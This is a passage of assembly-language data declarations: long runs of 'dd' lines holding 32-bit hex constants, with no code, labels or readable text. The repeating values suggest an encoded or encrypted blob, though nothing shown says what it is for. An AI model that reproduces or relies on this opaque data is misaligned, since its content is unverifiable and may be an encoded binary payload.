59CBB132h, 56D5ADB3h, 406CBE32h, 0BF75B132h dd 56BAB123h, 0C60BB821h, 57A0ADF3h, 2B54A38Ah, 88E098D1h dd 56D55977h, 0D7B0B132h, 67C25BD8h, 8031D134h, 0BF3C79B9h dd 56AEB122h, 0C754F736h, 2FDF21F1h, 0EA198237h, 0C71BCBDCh dd 0CC600BB9h, 0DAB5B703h, 565DB133h, 57AE08C7h, 5BBEB132h dd 9FABB132h, 0A420AB25h, 932A0EDAh, 89D9F86Ch, 0A5427101h dd 56555899h, 0C11FB132h, 0E4C14391h, 44426E91h, 31D5B132h dd 0D7D145C3h, 5A67925Fh, 1FD7468Ah, 0B86E0E23h, 432C3A95h dd 595180A8h, 56ABB0B8h, 0D45C4D32h, 50DB2B06h, 0ED134452h dd 37DBCB28h, 565C383Dh, 955BB132h, 58BED1CEh, 6AABB132h dd 0FD390DD8h, 956E3D26h, 50F58A27h, 5652485Ah, 0C5DB132h dd 0EE395BB3h, 0D658B703h, 56ABB12Dh, 56CC3A3Dh, 4203B132h dd 9075B132h, 0C2E7FF29h, 41B9D2AAh, 0E5EAC47Dh, 0A36A95A1h dd 3638F949h, 56D43C3Dh, 0D713B132h, 40ACC5E4h, 9042D028h dd 7D6E9CB7h, 0DDCEE734h, 90D6D7F9h, 0BFCA73C2h, 56D5B13Fh dd 0BAC07E8h, 59DD7B2Eh, 0D9C48EF6h, 3B64D959h, 0D9A1652Dh dd 5657B13Ah, 56A9303Dh, 37B5B132h, 8B5F4ECBh, 36739A29h dd 0DBDB79B9h, 78DE5AB7h, 321AD134h, 59874E53h, 56ABA8BFh dd 56C15832h, 3766B132h, 4A29A99h, 0D0011532h, 0CC6BF6E5h dd 87ADB7CFh, 0BF055256h, 56ABB13Ah, 0F6EE44CFh, 0E99A31C7h dd 5AFBBE62h, 59BAB132h, 565DB7B6h, 562DBE32h, 3E57B132h dd 56AB3132h, 56DB3A3Dh, 5F03B132h, 0E575B132h, 0DD6C3471h dd 440848C7h, 0BFCEB158h, 5657B139h, 36270194h, 0EC4BCE47h dd 0BE48D62Ah, 5675B13Eh, 0B117240h, 13657D5Dh, 21A89866h dd 56573D3Dh, 37F2B132h, 0C07A03CDh, 4203B703h, 4075B132h dd 83AD0B45h, 9BC3B943h, 0F30DF1BDh, 0BCA48F31h, 0A96007DBh dd 56DF58E2h, 934B132h, 8385656Eh, 160420D6h, 0CE8D16Ah dd 38603054h, 0BF0DD065h, 56ABB123h, 3F56EE59h, 0DBDD9F1h dd 7EB2EA24h, 5A222642h, 0D7EED10Ch, 56A75952h, 0BBEEB132h dd 6FD6E04Eh, 0DCB3489h, 56EA3A3Dh, 3714B132h, 563AB15Ah dd 56374432h, 56AEB6DBh, 0B9CE8332h, 1D32A78Bh, 0CCC003CDh dd 5E03B703h, 0E775B132h, 7AD3D3D5h, 0A922E19Eh, 5A2CBEE2h dd 5957B132h, 56ABB7B7h, 5657BE32h, 0BFEAB132h, 5675B134h dd 0E4200C7Bh, 0A33C73CDh, 131CD1F1h, 37893A54h, 0DDCDD167h dd 373405C0h, 36063AC7h, 792E70B3h, 455383CBh, 0A85DB132h dd 9BC908FCh, 78B126ECh, 47E69204h, 32F17D09h, 368BC626h dd 56603F3Dh, 4653B132h, 0FF5DB132h, 6C7017DEh, 693F6A58h dd 4E1D500h, 0BF298C67h, 56EAB126h, 29F1F9C4h, 588307E5h dd 0A5925686h, 534EA297h, 219730D6h, 56ABB1DAh, 0BC54EB32h dd 50DB0BF7h, 5675BBDBh, 0E8740C32h, 0A5458D5h, 36B721ECh dd 0E580063Dh, 2320D0FAh, 5D50BE3Ah, 0BFEAB132h, 5675B134h dd 0EC31BC8Eh, 0D7B502F1h, 36AEB13Ch, 9E6061B3h, 0E8CD9927h dd 0BFB46729h, 56EAB120h, 676B339Ch, 0D145EC89h, 0A5896C85h dd 9471F72Ah, 5902F93Eh, 56ABA2B3h, 56DB5832h, 87C0B132h dd 1E78C25Fh, 48859577h, 32EC2F16h, 56AEA1DBh, 7B9BE332h dd 0D8E1A915h, 3F4CE507h, 0C7BD9FBBh, 6EE74E5Dh, 59BC80A5h dd 565DA8BDh, 452CBE32h, 0BF57B132h, 56ABB13Ch, 24074214h dd 4F1D3532h, 3553F8BAh, 0AEE7E9A8h, 5951C409h, 0A951C8B7h dd 0DB58D1CDh, 56ABB13Dh, 56D5BBDBh, 316F4B32h, 0AAE2F5FBh dd 37CA5FA0h, 565052DAh, 5724BE32h, 0AF57B132h, 59624853h dd 56D5BFB6h, 0DAE5D132h, 5675B132h, 56BA3C3Dh, 943CB132h dd 0D6A1B13Ah, 5657B135h, 56AA3D3Dh, 320B132h, 0D3E5D152h dd 5675B132h, 30DB40B9h, 0DD3C48B9h, 5129BEDEh, 5957B132h dd 56ABB0BCh, 92564932h, 56FB58CEh, 980BB132h, 8A1070Bh dd 4DE804F5h, 19C8C565h, 36439A78h, 8014BE60h, 56DE586Dh dd 51BBB132h, 0CBFFD1C9h, 0C0A658E2h, 0BF0BD006h, 56AEB13Fh dd 0C6BDB97Fh, 0A2C9B987h, 3BB61E60h, 0D4E5E6AFh, 5675B13Ah dd 56B8353Dh, 373DB132h, 5722BE61h, 0AA57B132h, 0EC0F0A52h dd 456D859Ah, 37AD855Ah, 5675B1DAh, 0BC3BEB32h, 506C0D63h dd 56AEA1DBh, 4FA3CE32h, 1F9F382Dh, 0F9CFA018h, 3B6866A9h dd 43F3BED4h, 0BFBAB132h, 565DB122h, 0FD149227h, 3934E0D8h dd 301C3BC0h, 1772C4AAh, 0A3E2C4B9h, 5965CCB9h, 56BABDBFh dd 565A5832h, 0B20B132h, 6C2D9066h, 0DEA4E67Ch, 56D5B133h dd 0BE13E7CBh, 5675B092h, 597ABAC7h, 565D6DB6h, 30CE4932h dd 0DD316FB9h, 0AE20D0E5h, 56DE3F3Dh, 598AB132h, 5675B1BCh dd 950DBE32h, 0D752E453h, 56AEB13Eh, 5657B6DBh, 9DE80832h dd 0DFBA71FBh, 56F43A3Dh, 0D67AB132h, 56BAB12Ah, 565DA2DBh dd 36117932h, 0C6C1515Ch, 84A045B3h, 21229328h, 0DE51B757h dd 0C14D23CDh, 5353B703h, 45DB132h, 446984A1h, 0D858ECCEh dd 56ABB135h, 56D4393Dh, 6D16B132h, 0D27ABD47h, 56BAB153h dd 48D6D7CAh, 56AEB4DBh, 0F5DB7032h, 0B12B0023h, 4555BEC2h dd 36EAB132h, 5675BADBh, 4EA11932h, 9DF345ECh, 761427B8h dd 48DDD0CBh, 56A75852h, 0CF90B132h, 0B4A477EAh, 487F21EBh dd 993A3A3Bh, 0B5DDD0F7h, 0F9464DC2h, 3657B116h, 0BF5B063Dh dd 56D5B134h, 9D0358B5h, 0BF141B5Dh, 0A9454E3Fh, 0AA2038CAh dd 56B8353Dh, 47BEB132h, 95ABB132h, 0B8E0F9EFh, 86D56723h dd 31457869h, 54726A38h, 0A38459CAh, 0D5B4ECDh, 537EEC7h dd 0BFF5DB80h, 56D5B121h, 0F6815E69h, 2ACB24B7h, 0C9B5382Ah dd 266FC28Eh, 37BF23A3h, 51BED16Ch, 12ABB132h, 4139534h dd 0B96A7EABh, 13FED0CBh, 0EFDCD1CEh, 44B425CDh, 0E5AEB132h dd 9A3CEA88h, 0D83A25C6h, 1C3149A0h, 4A57B2E0h, 0BF15D018h dd 56BAB138h, 62B8D3B9h, 0ABBCEBF7h, 80D64FFCh, 11BBF9B0h dd 0D0DA7853h, 56EAB13Eh dd 5673373Dh, 0D8B5B132h, 565DB132h, 0BFAEBDF0h, 5657B122h dd 0FBBAD6AFh, 1F9B7EBEh, 9C6E448Eh, 4BDA5D32h, 0BA314467h dd 565DBDDBh, 7BC2C132h, 509C6BF5h, 0C4938203h, 0AE1132C0h dd 56FC3C3Dh, 479CB132h, 0E1BAB132h, 0AC98253Ah, 2E0997E7h dd 245E36C3h, 857675D7h, 56D5B4DBh, 0FEEEB432h, 0A322F3CBh dd 56AB5864h, 3A72B132h, 41C4ED0h, 0E1773E9Fh, 0EC0A03CEh dd 73505A3h, 56EABBDBh, 0D96E3C32h, 380A49FCh, 516A302h dd 0AEEB76CEh, 5657B132h, 47434952h, 49D5B132h, 0F2D0380h dd 0D9D6D3E3h, 146DEAF4h, 6869F9B4h, 43E8648Ah, 9136EB45h dd 6732EAB0h, 56D5B034h, 5761BE32h, 0AE75B132h, 0BFB2C4B9h dd 565DB139h, 4C58F08Fh, 429EA63Ch, 306D6528h, 0DDDAAFB9h dd 56EAB120h, 5675BCDBh, 0AE479D32h, 5F28C3CBh, 90DF5A22h dd 0ECDC35F7h, 509A279Dh, 5E8A3AC7h, 56EAB8DBh, 0C134DD32h dd 0B11F0E41h, 593DF4E4h, 56AEB4B2h, 9ED6D732h, 454233BBh dd 68D5B132h, 15675C42h, 3281ED4Dh, 927EB7D6h, 99467CE0h dd 5DCF11D5h, 0D7D3BEE9h, 36ABB132h, 83FAB688h, 0D6193013h dd 371ACD2Bh, 56BB3A3Dh, 6DA4B132h, 132BBEECh, 5957B132h dd 56ABA4BDh, 583CD132h, 0F8EAB132h, 0C1E28C4h, 243C2DCAh dd 76E6AF9Eh, 5047D011h, 0F657B132h, 0EEFC7EB9h, 5A883AAAh dd 56EAB7DBh, 984D1E32h, 0DFC920A1h, 5FB4BD6Dh, 0D3AEB132h dd 3EA8E943h, 369B5DC1h, 36C176B1h, 50400E54h, 0A9265853h dd 0E1DA4ECDh, 0D352D150h, 56AEB132h, 5657383Dh, 37CAB132h dd 36CB3A54h, 566BBECAh, 3775B132h, 0BE4131CAh, 5570353Dh dd 0D65BB132h, 0D25858C9h, 56ABB211h, 555FBE52h, 59EAB132h dd 9FF44785h, 0F3185E3h, 0BDA63153h, 55A7353Dh, 0D6AEB132h dd 0D2A453C9h, 56D5B3FEh, 0CB50D752h, 7A4306Fh, 37FBD594h dd 59BE4AB2h, 56AC3FB6h, 88D6D132h, 6453D908h, 56D1383Dh dd 0EF8CB132h, 301409B1h, 0B5DD4AB3h, 54C7353Dh, 36CEB132h dd 7FCD42B3h, 5C4399D6h, 0C4D5B132h, 0BBD4E48Fh, 0A202B149h dd 59DBEEA3h, 565DB2B3h, 0E74D3132h, 0A6B03153h, 0AD2AD7CBh dd 0D2DA313Dh, 56EAB3A9h, 5675BBDBh, 5B88AF32h, 0C9557903h dd 0D65D520Dh, 0D6AB41D1h, 0D2A4C1C9h, 56D5B34Dh, 56EABFDBh dd 0F1C7E332h, 9DA4CDB6h, 0EB68F028h, 30D3839Ch, 3037AFB9h dd 952A6EB9h, 0C3CA843h, 0DD8CD153h, 56FDBEEBh, 37BAB132h dd 36A552B2h, 0E8F940B9h, 2E2D3472h, 0AD2BD069h, 4A51BE8Ah dd 59EAB133h, 5675BDBCh, 5038BE32h, 595DB132h, 56AEB1B8h dd 53693132h, 57AA353Dh, 5B5B132h, 0AFB3D052h, 7B4B3153h dd 564B353Dh, 0AFA8B132h, 59C68FB2h, 565757B6h, 56A75832h dd 0BC38B132h, 6D5F6431h, 95C17B52h, 5F538EF7h, 0E5DB132h dd 1AAC235Ah, 0D8AC5401h, 0CFF033CDh, 3020B703h, 0D612AFB9h dd 509C49D5h, 6BAB132h, 8FAE7248h, 0AD2FD795h, 0D25859B3h dd 56ABB191h, 56D9343Dh, 0D2E5B132h, 5675B134h, 56BA373Dh dd 50B4B132h, 0D8AEB132h, 6B6828D0h, 4820D71Ch, 0A63231CBh dd 0D78CD052h, 59B530C9h, 56BAC3B6h, 78E3D132h, 30E76317h dd 3770738Bh, 8621D152h, 56DF5862h, 6BE1B132h, 5B3B7AB0h dd 13117AC7h, 5908D069h, 56AEABB7h, 44BED132h, 0DAABB132h dd 28AEE2ADh, 7A86F0A1h, 0C7BFE673h, 75D31256h, 0A93C489Ch dd 673989A0h, 0BF0A4D34h, 56ABB135h, 437D81F6h, 0DFC105E0h dd 519C4D77h, 1EBAB132h, 50D5A122h, 0A3CF6792h, 57ABCCB1h dd 5754343Dh, 0DD2DB132h, 7DE1B888h, 567F5834h, 0EC8DB132h dd 0A9B93AE5h, 2995EB36h, 0D4DC4962h, 509A2869h, 66E988CBh dd 9652D752h, 9DF4D16Dh, 1C2C01E9h, 373C6FB9h, 56AEA1DBh dd 0B7501632h, 56B532ECh, 5B72D0C2h, 61AAD2E6h, 0D47AE9FDh dd 56BAB083h, 63E73ACEh, 59A89A12h, 5657B6B1h, 572BBE32h dd 0AAD5B132h, 0A66BD162h, 2BA567FEh, 8A7C3054h, 0D4D6D022h dd 509F2869h, 666B88CBh, 56A65952h, 0CF7FB132h, 5012A5C5h dd 0FCDCE0A2h, 590DF7F2h, 37064E85h, 3021BE6Ah, 0A357B133h dd 56A65852h, 109DB132h, 1AAAA33Dh, 2F3281DBh, 0E0524B54h dd 3AB4D091h, 36AEB132h, 37AE0D86h, 36613A52h, 25063Dh dd 918BD06Ah, 56774977h, 0D1B5B132h, 565DB133h, 56E758CEh dd 47BEB132h, 0F4ABB132h, 88819BAh, 0F068D723h, 0BAA9FCB6h dd 0A39DB1F9h, 57A5F4F5h, 0BFAEB132h, 5657B13Ch, 0A65BB827h dd 0DB913EC3h, 17734D86h, 429C7208h, 22BAB132h, 0EAD4A6FCh dd 57432D87h, 6FE5352Fh, 51F0E7F0h, 0DD1309A7h, 677C1E88h dd 56735834h, 6CEDB132h, 267E1A8Bh, 0D3A1AEB9h, 5657B13Bh dd 5624BE52h, 0AAD5B132h, 5931BA53h, 567505B6h, 56AA5832h dd 0C0D7B132h, 5869188h, 0FB9A1560h, 16433C82h, 88EEE6F0h dd 56B0343Dh, 0DD89B132h, 4453BD6Fh, 2F5DB132h, 0E86780AEh dd 74B8ED7Ah, 8A54DDC8h, 4F186914h, 0AE9732D4h, 67F1BE32h dd 36BAB132h, 0E300852h, 0CFFAF96h, 56595853h, 0C8F1B132h dd 6A4305DDh, 0B204AF1Bh, 6C29F4C2h, 0BB94453h, 0BFA5D1CAh dd 56AEB135h, 630370AAh, 37CD9760h, 0AED1EEBBh, 59FE76B1h dd 5675B9BBh, 5437BE32h, 365DB132h, 0A9F45853h, 5EBE4ECDh dd 0ADABB132h, 8C3669DEh, 6582CBCDh, 567858F2h, 7B46B132h dd 1C2EE5E5h, 9A48D425h, 0BFF804D3h, 56ABB5BBh, 485ED7CBh dd 5B6DBE52h, 0BF75B132h, 56BAB13Ah, 36E6EF15h, 0FE155778h dd 37A4063Dh, 36A7CCB9h, 0B15473B9h, 5C55181Ch, 0BD8E3153h dd 56FD353Dh, 0D052B132h, 56AEB13Ah, 30953A52h, 3786038Bh dd 592552B2h, 56EABDBDh, 0D713D132h, 3070A1EDh, 68EE6BB3h dd 26553153h, 56DA353Dh, 0AF5EB132h, 56D4F8DBh, 56E45832h dd 775CB132h, 1CDB2C07h, 4AF2B41Fh, 39C1474Eh, 0BF5077CAh dd 582ABECEh, 36D5B132h, 0F23062B3h, 0DB7AB085h, 56BAB132h dd 571A7653h, 56AEB132h, 56433B3Dh, 0DAA4B132h, 56D5B13Ch dd 56EAB8DBh, 0EFEE7832h, 74BB6958h, 91D6E27Eh, 0E1A14D52h dd 5FBED0F5h, 6EABB132h, 0B60FEB4Fh, 0AA745870h, 597071B1h dd 56BABFB1h, 0D052D132h, 56AEB132h, 5657333Dh, 0BFCAB132h dd 56D5B297h, 56EB353Dh, 308DB132h, 5EB5B6F5h, 0AE433BCEh dd 0AEA152B2h, 0BFD77AB2h, 56ABB126h, 1406287Ch, 0DA901A98h dd 6047A080h, 0E21BD56Dh, 597C7242h, 9619BE52h, 5657A2DBh dd 0A5941E32h, 3E540DA7h, 2BD092A7h, 1BF3B066h, 0CEC32E4h dd 57023953h, 56BE5852h, 6B33B132h, 6ED2287h, 1BBC543Bh dd 0E69BDCDDh, 911480D3h, 56BAB375h, 42B4B132h, 31AEB132h dd 0C6B180B1h, 60B2CC43h, 0BDF777C6h, 7401BAE9h, 0DDBAE02Ch dd 56B658F5h, 89CCB132h, 82C78B15h, 0E688751Dh, 962887DDh dd 0AE5ED134h, 370546B2h, 0D17AE152h, 56BAB132h, 0D052D16Bh dd 56AEB132h, 3736E083h, 56A959DBh, 56DD5832h, 57B2B132h dd 779FAA90h, 0D7DC8082h, 59CD210Ch, 56AEEDB6h, 565F5832h dd 4479B132h, 6EDE5B17h, 0D4E5B508h, 5675B133h, 0C68431CAh dd 5608343Dh, 36CEB132h, 378F3ACEh, 56AD313Dh, 0D0DAB132h dd 56EAB132h, 28F4D753h, 592A21CDh, 565D91B6h, 56A15832h dd 0AFE4B132h, 0D1945299h, 0CFA9C445h, 256D7AF3h, 5668581Dh dd 30DAB132h, 0DAE940B3h, 0AE693A53h, 5655DDDBh, 5E28BE32h dd 59D5B132h, 56EAB3B8h dd 0DB14D132h, 6720F1B0h, 57DFBE34h, 0AEAEB132h, 0E158D162h dd 36FDD0ECh, 0E2F3A65h, 951D752h, 8FF4D783h, 37DB5FB5h dd 0C10E23CDh, 3657B703h, 0E1584AB9h, 96A0D0C9h, 5696353Dh dd 0DCE5B132h, 5675B135h, 596E0152h, 0DD3C6A85h, 0E42349FAh dd 50662B72h, 0BB15D752h, 7F6BD7D6h, 0E303D036h, 5975B132h dd 56BAA9BEh, 44D5BE32h, 0BFAEB132h, 5657B13Fh, 0FFC7DDB3h dd 3D52C2CDh, 0BA2444Ah, 115E70Ch, 56BABDDAh, 9B62D832h dd 65236C94h, 0ED484A06h, 30F3E841h, 0C69B52B3h, 56EC5853h dd 0C26DB132h, 16AB61E7h, 3D7FB9h, 0F780E3Dh, 51B03054h dd 59FED030h, 56D5A6BCh, 5C03D132h, 6B75B132h, 6C92304Eh dd 0FEC3CC26h, 562FBEB1h, 3757B132h, 0C19323CDh, 0B2CB703h dd 5A50D752h, 567D58A8h, 2347B132h, 5F2B1D58h, 7DCFEBA1h dd 565858FCh, 0A92BB132h, 12BDABB2h, 10593836h, 0B3C046C2h dd 56B3583Fh, 1688B132h, 61F0FA9Bh, 0A15E553Fh, 0AEF548EBh dd 572DCCB1h, 5678343Dh, 0E615B132h, 37DAD17Bh, 373C6EB9h dd 0DAA1F882h, 5657B134h, 367A3A52h, 597FD053h, 56EAA9B6h dd 99FFD132h, 56BABEDBh, 0E9024632h, 0A9BC8DC3h, 9D826050h dd 81A400F9h, 596DD753h, 5B61BEB7h, 0BF75B132h, 56BAB13Ah dd 91389F15h, 8B6C2770h, 59A21A54h, 59AAF784h, 56D5BABDh dd 56EC5832h, 2CD1B132h, 2EB24A9Dh, 564C5899h, 97D5B132h dd 8A429B67h, 4308C1E6h, 24A34629h, 0BF97D40Eh, 5675B19Bh dd 56B0383Dh, 53B4B132h, 99AEB132h, 0BAC5AB10h, 5453CCB1h dd 5659343Dh, 3012B132h, 36BCBA8Ah, 0E977CC8Dh, 0FD3BD02Bh dd 56AEA1DBh, 0E5936232h, 0E8E8A721h, 0BEFB7130h, 518998D9h dd 59CDD71Fh, 56BF58B6h, 0E155B132h, 3056DCE6h, 0DF58D199h dd 56ABB132h, 855ED752h, 8F3D66B3h, 3714D1EDh, 57FC073Dh dd 56513D3Dh, 0D3A1B132h, 5657B134h, 56AB343Dh, 0BF7EB132h dd 56EAB126h, 0D9B23965h, 63F7CE88h, 0C0E12563h, 3213EAA6h dd 0A174F13Dh, 56ABA5DBh, 503CD132h, 91EAB132h, 0AC3643ACh dd 1204D791h, 0F2AED06Fh, 59693ACAh, 5657BDB5h, 5026BE32h dd 59D5B132h, 56EAB1B7h, 0F89EA32h, 0BFE1E152h, 565DB126h dd 8D730DC3h, 0DAD64947h, 0AE29FD1h, 164D9A2Ch, 0F3CE0A20h dd 0D77AEF53h, 56BAB13Ah, 565F3B3Dh, 37CEB132h, 5DBFD16Dh dd 0C2ABB132h, 0FB98D99h, 0D977124Ah, 8DF491A2h, 416400CFh dd 379E3A69h, 512DBEFBh, 3657B132h, 0DDCDEA60h, 0DEDAD0E4h dd 56EAB130h, 5EB7D052h, 56BF5832h, 24BEB132h, 316A615h dd 5656363Dh, 0DD5EB132h, 59B549DEh, 56EAA3BDh, 56785832h dd 0AF5BB132h, 0E3E5DB2Bh, 0EF885E92h, 0BE77567Dh, 56ABB132h dd 723F3068h, 59EC80FBh, 5675A6BDh, 56A85832h, 0C58BB132h dd 50182B4Bh, 69257A04h, 0EB66056Eh, 89995FC4h, 378BD152h dd 0AA7DF4B9h, 0C1AC33BBh, 37A8B703h, 0DDA178CEh, 5657B13Ah dd 56A9323Dh, 37B5B132h, 0BFEAB5F0h, 5675B13Eh, 95C3BB2Fh dd 87DB2C4Ah, 0CAB47D43h, 0BADC4467h, 56ABB7DBh, 6D80D932h dd 0D57DD0F2h, 368049F6h, 56BAA0DBh, 7CFA0932h, 8F167F7Dh dd 316DDCDCh, 7D8DB0C6h, 563D1E72h, 0CEAB132h, 9FDE5BB3h dd 0D7B5B703h, 565DB134h, 0E9A14D52h, 91A2D0E3h, 56AB4977h dd 30B5B132h, 371341B9h, 5689F4F5h, 59BAB132h, 565DBFB5h dd 0D9A1D132h, 5657B132h, 56AB313Dh, 0A3B4B132h, 0DBE57101h dd 5675B12Ah, 563BBE52h, 0BE5DB132h, 56AEB138h, 632B80EBh dd 2F37B038h, 378F2CAFh, 0AFF43A54h, 0CF2E33F5h, 56BBB703h dd 0E33DB132h, 5028BE9Fh, 5957B132h, 56ABB1B7h, 0D7B3D032h dd 597A21C9h, 5675B0B7h, 0AD3A4D32h, 74D9BEDAh, 0BFAEB136h dd 5657B13Fh, 29B90D02h, 9F7AC967h, 18D3C72Eh, 3615F1A1h dd 0D1770B54h, 363CD052h, 0DFEE962h, 0ADD7D053h, 0A02FBEDBh dd 59D5B131h, 56EABCBCh, 567D5832h, 35B8B132h, 9C254B64h dd 0AAEE2C0Eh, 59BC4AB2h, 56A869B6h, 415FBE32h, 0BFEAB132h dd 5675B120h, 23C434E9h, 0A955199Fh, 67C6FC6Ah, 0E9230FEFh dd 0AAEBBA4Eh, 362556B2h, 0D78CD1C7h, 377E28E8h, 0AD3BD753h dd 0D252313Dh, 56AEB293h, 0A6EDD152h, 0DDADF3D6h, 983D0ECh dd 0B68B253h, 36739A06h, 30700E3Dh, 0BF3C40B9h, 56AEB13Fh dd 9B5D98C2h, 20BDDDF1h, 57AAEF71h, 5803F18Dh, 1775B132h dd 0E1F5B8C8h, 0AA2D9627h, 0DBFE3B07h, 0B4AC313Ah, 55E4353Dh dd 0D629B132h, 0D2E552C9h, 5675B205h, 56B5313Dh, 0DD3DB132h dd 56AB59FDh, 6A88B132h, 0FB36772h, 0AD54D753h, 0D2E55255h dd 5675B217h, 56A23B3Dh, 0D63DB132h, 584779D3h, 2157B132h dd 0D98783C5h, 8DC0527Bh, 7DE9713Fh, 0B5F5D07Dh, 0AD3A49C2h dd 54D9BE42h, 0AEAEB131h, 0BF493A54h, 56ABB13Eh, 0F4DCBBDh dd 2BCD09EEh, 0C44E7E8Dh, 364252B2h, 0ADEABE60h, 37CF0269h dd 59EF4AB2h, 56AB42B6h, 68554932h, 0BF6EBE37h, 3675B132h dd 56BB363Dh, 37A1B132h, 59838FB2h, 565766B6h, 682B4832h dd 9B51BE5Ah, 59EAB132h, 5675B0B9h, 36FA4932h, 8467BB3h dd 2A1DC1F0h, 0DD54E53h, 0AAAD80ABh, 0BFCB3A54h, 56EAB126h dd 0E20E80ECh, 7D8AECE0h, 0D31D9028h, 18ABB347h, 4B91C8D5h dd 0AE5356B2h, 0D72E3054h, 0DF6EBEDAh, 0AA75B132h, 59A43A54h dd 565DB0BAh, 0D6574932h, 30AE41D5h, 962A4AB3h, 56BB353Dh dd 0D4E5B132h, 5675B124h, 56BAA0DBh, 0F9CF5E32h, 81076511h dd 2E4E682h, 0D706F51Dh, 0AEB540DDh, 56E35867h, 5E18B132h dd 734004B8h, 0A9636430h, 673989A0h, 57DEBE34h, 0A3ABB132h dd 135C446Fh, 56E558CEh, 977DB132h, 0BA6B8A16h, 1BE3455Ch dd 4AC8F2CCh, 0D5A2D0B7h, 59AA4D4Fh, 56D300B7h, 56E05832h dd 0E0DCB132h, 0DFE9A4B9h, 0F18DAAD2h, 5DA70BB9h, 5ABEB719h dd 0E1ABB132h, 0A7469FFFh, 36A5ED9Ah, 6D764ACh, 9B430A52h dd 37A1AAE4h, 0CFF533B9h, 0DB58B703h, 56ABB13Bh, 0E9B4D152h dd 5FF6C817h, 66498853h, 0D4B5E9CAh, 565DB750h, 5127BECEh dd 3657B132h, 0A12BD052h, 0EC5ED01Bh, 50C19107h, 5675B9DBh dd 1AF13632h, 0CE0B70B8h, 0DD57E1B7h, 67CEEAB0h, 56AC5834h dd 0A826B132h, 0FCF8189Bh, 66498869h, 0D9B5E9CAh, 565DB710h dd 56A05952h, 5519B132h, 1A12546Bh, 0FC6716A2h, 7AD954C9h dd 0CAE063Dh, 56BA323Dh, 0DD3CB132h, 67385B88h, 0D558D134h dd 56ABB136h, 90DD0B54h, 56EABEDBh, 9CADEC32h, 7FC9782Eh dd 90492489h, 0CD406E70h, 0BCD53253h, 42AD80A4h, 56D5A1DBh dd 6A161832h, 43EACFFDh, 0BB0FBECDh, 0F72A92F2h, 369938B7h dd 5A930E54h, 0A3CA0785h, 0BFC5F6BBh, 56EAB122h, 0CEE1EC7Ch dd 19AD5551h, 0C5EEF547h, 2D5B8C16h, 5657BDDBh, 4F2A9E32h dd 8296C510h, 0BC43203Bh, 0D67AE115h, 56BAB12Ah, 565DA2DBh dd 0E0A11B32h, 0BAFD9C53h, 0FE5BE0ABh, 0F410BDE7h, 6F137005h dd 0CF2E33B9h, 30DAB703h, 0D6D0C688h, 36CFDBD6h, 56413F3Dh dd 4742B132h, 0E5D5B132h, 8B42B979h, 0B96C959Dh, 2612D40Bh dd 0DA61FA25h, 37453054h, 4ADCD00Bh, 4024BE02h, 0BFD5B132h dd 56EAB123h, 7C207049h, 266E6D27h, 0A146A491h, 3392C344h dd 45DEBE4Fh, 0BFABB132h, 56D5B13Ch, 0D2722EF9h, 134E497Dh dd 766DE807h, 5905211Dh, 56AEB8BAh, 22ECD132h, 694C766h dd 30B5D06Bh, 0A90458B3h dd 5E2A3853h, 525E58CAh, 0DB52B132h, 56AEB139h, 95D6D752h dd 0EFCDBD8Dh, 91B4C612h, 56E84977h, 0BF8CB132h, 56BAB13Bh dd 0AE1876CBh, 56AEB133h, 0BCED3AC7h, 59AD80A4h, 56D5BCB3h dd 56E25832h, 7E78B132h, 6EC88B24h, 0D4DE7B89h, 509F27D8h dd 56445826h, 24F3B132h, 0F81886ACh, 389534F0h, 12127B77h dd 66D85D17h, 596A38F4h, 56AEB0BEh, 11DE4D32h, 0DFA4D122h dd 56D5B130h, 0E1E5D052h, 5F9CD0CAh, 0F4BAB132h, 69FEE392h dd 9373DF75h, 595449B1h, 56AB88B7h, 0D4124D32h, 50DB2869h dd 5675B130h, 56BABFDBh, 3D829432h, 702EAA82h, 1D82E096h dd 0AFE9AAC8h, 56D58FDBh, 516ABE32h, 3675B132h, 1483A54h dd 593DD06Ch, 56AEB1B6h, 0AED4D032h, 3926BE30h, 59D5B130h dd 56EAABB3h, 479CD132h, 17BAB132h, 0F94CE8B5h, 3215E3DAh dd 10C4040Fh, 3F4EB862h, 0D5B466B8h, 59EA494Fh, 567511B6h dd 5738BE32h, 0AF5DB132h, 57E8073Dh, 565D58C7h, 390BB132h dd 0CAEE70DBh, 0F1848049h, 5675319Bh, 1B3FBE32h, 0BF5DB132h dd 56AEB122h, 2F323142h, 6ADD4806h, 0A779CABBh, 9307C901h dd 4CF3BE72h, 36BAB132h, 565DBEDBh, 16FF7832h, 8A7F1267h dd 99013FCBh, 0F72B0A4Eh, 15280F54h, 539D3253h, 569558C7h dd 0D952B132h, 56AEB13Ah, 5655313Dh, 37CBB132h, 56D54E1Fh dd 5763BE32h, 0A375B132h, 59BF59B1h, 565DBDBAh, 5022BE32h dd 5957B132h, 56ABB1BBh, 56B45832h, 0D6E5B132h, 5675B133h dd 0D5B5E2CBh, 565DB138h, 0D75A0652h, 470FA3E3h, 0CC20D063h dd 50E42869h, 56E0393Dh, 115B132h, 5635BE6Ch, 375DB132h dd 65AA3ACAh, 5657A2DBh, 566C7232h, 0DF380F1h, 87135845h dd 8F1C7830h, 20E1C6BFh, 564C5869h, 9BFFB132h, 0BE5DB3AAh dd 2A791C15h, 9CABB19Eh, 0FFAD8A70h, 0D675B132h, 561E343Dh dd 55A8B132h, 0BECED1F4h, 5657B13Ah, 0D8F507Fh, 68208F9Fh dd 56E0586Ch, 0E499B132h, 8EBCC183h, 4C417C9Fh, 8F2FD753h dd 0D53697DFh, 0EECBB4F2h, 0CFBAE1Eh, 0D68B253h, 367380ABh dd 0BF4B3A54h, 565DB134h, 0EE06D15h, 1E361480h, 5EEC38C7h dd 56C03A3Dh, 4603B132h, 0D675B132h, 71373864h, 0BC97A70Ah dd 6547D068h, 0DF7DCD62h, 0BFCBBD75h, 56D5B120h, 0FA9A4677h dd 483398A6h, 758EEADFh, 0A673A979h, 0D7C8A09Dh, 37E933E8h dd 56A9E4DBh, 56C55832h, 56B6B132h, 57FAC57Ch, 0DE331A1Dh dd 66121D6Bh, 8E59B0FFh, 0F2000852h, 0E9A4F606h, 90FED0CCh dd 56EAA0DBh, 22799F32h, 0C2717137h, 3E48AF0Ch, 8432B5DBh dd 58BE0C67h, 8CABB132h, 0A58AAA0Fh, 0A9E55887h, 0B7FA86Bh dd 3662464Ah, 0E07E664h, 37885FB2h, 595271B1h, 56ABA5B2h dd 56DA5832h, 0E04B132h, 35D788E0h, 0B9DE2C84h, 62F6FDA8h dd 0D2CB2C1h, 0AF5180ABh, 5127BE7Ah, 59D5B132h, 56EAB0B6h dd 11FC4D32h, 5E3FBE3Ah, 595DB132h, 